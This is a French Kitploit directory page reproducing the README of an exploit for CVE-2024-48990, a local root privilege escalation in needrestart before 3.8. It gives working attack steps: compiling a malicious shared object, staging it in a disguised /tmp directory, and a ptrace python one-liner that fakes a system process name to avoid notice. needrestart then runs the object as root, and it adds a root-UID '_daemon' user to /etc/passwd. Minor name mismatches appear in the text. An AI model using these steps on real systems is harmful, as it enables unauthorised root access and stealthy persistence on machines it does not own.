Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-48990 — Exploit for CVE-2024-48990 (Local Privilege Escalation in needrestart < 3.8) | Kitploit
Outils/GitHubGitHub/ns989/cve-2024-48990
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingRed Teaming
GitHubns989/cve-2024-48990

CVE-2024-48990

Exploit for CVE-2024-48990 (Local Privilege Escalation in needrestart < 3.8)

Voir le dépôt
5il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-48990

Exploit pour CVE-2024-48990 (Élévation de privilèges locale dans needrestart < 3.8)

Contexte

Lisez https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart. Qualys fait un excellent travail pour l'expliquer.

En résumé :

Sur les systèmes avec needrestart antérieur à 3.8, les utilisateurs locaux peuvent exécuter du code arbitraire et élever leurs privilèges à root sans interaction utilisateur.

Screenshot from 2024-11-21 20-07-48

Exploit

L'exploit tel qu'il est écrit actuellement ajoutera un nouvel utilisateur nommé "_daemon" au système avec un UID/GID de 0 (root) en utilisant une commande sed pour éditer le fichier /etc/passwd. Le mot de passe est le même que le nom d'utilisateur. On n'est même pas sûr de pouvoir appeler cela un exploit puisqu'il s'agit simplement d'une bibliothèque partagée qui exécute une seule commande.

Pour compiler l'exploit vous-même, exécutez la commande ci-dessous :

gcc exploit.c -o exploit.so -shared -fPIC -s

1. Créez un répertoire pour stocker les fichiers de l'exploit. Le répertoire que vous créez doit contenir un sous-répertoire appelé "importlib"

mkdir -p /tmp/.X11-Unix/importlib

2. Lancez un processus qui déclenchera l'exploit

Vous pouvez exécuter n'importe quel script python de longue durée. Mais pour paraître moins suspect dans la liste des processus, vous pouvez utiliser cette ligne unique pour démarrer un interpréteur python qui est suspendu dès son démarrage (donc il n'exécute jamais rien).

  • PYTHON - Le chemin vers l'interpréteur python

  • ARGV - La chaîne qui apparaîtra dans la liste des processus

  • PYPATH - Le chemin vers le répertoire que vous avez créé (sans inclure le répertoire importlib)

Pour ARGV, assurez-vous que :

  • le chemin vers l'interpréteur python est le premier argument dans ARGV

  • le deuxième argument (le "script") est un fichier qui existe réellement sur le système (needrestart le vérifie). Il n'a pas besoin d'être un vrai script python.

  • le deuxième argument n'est pas le même qu'un processus déjà en cours (needrestart utilisera celui "en cache" qu'il a déjà vu).

Sinon, vous pouvez jouer avec ARGV autant que vous le souhaitez. Peut-être le faire ressembler à un processus système normal ?

PYPATH=/tmp/e/ PYTHON=/usr/bin/python3 ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' python3 -c 'import os,ctypes; libc=ctypes.CDLL("libc.so.6"); pid=os.fork(); exit() if pid > 0 else print("\n",os.getpid()); libc.ptrace(0, 0, 0, 0); os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH":os.environ["PYPATH"]})'

3. Déplacez l'objet partagé de l'exploit au bon endroit

Il doit se trouver dans le répertoire importlib et être nommé "init.so"

mv /tmp/exploit.so /tmp/.X11-Unix/importlib/__init__.so

4. Attendez que needrestart fasse son travail

La prochaine fois que needrestart s'exécute (par exemple une mise à jour avec apt ou unattended upgrades le démarre), il exécutera python avec la variable PYTHONPATH de notre processus et chargera le fichier init.so, qui exécutera notre commande. Vous pourrez vous connecter avec les identifiants _damon:_daemon.

Éléments pouvant empêcher l'exploit de fonctionner

needrestart n'est pas complètement idiot et vérifie quelques éléments lors de l'analyse des processus et avant d'entrer dans la partie vulnérable du code

  • Le processus est-il un script python en cours d'exécution ? Si non, il l'ignore (les processus python -c sont ignorés)
  • Le processus a-t-il déjà été vu ? Impossible de faire une copie conforme d'un autre processus (par exemple unattended-upgrade-shutdown ou networkd-dispatcher) sinon il sera ignoré.
  • Si /etc/needrestart/needrestart.conf a "$nrconf{interpscan}" défini sur "0", vous n'avez pas de chance.
Télécharger l’outil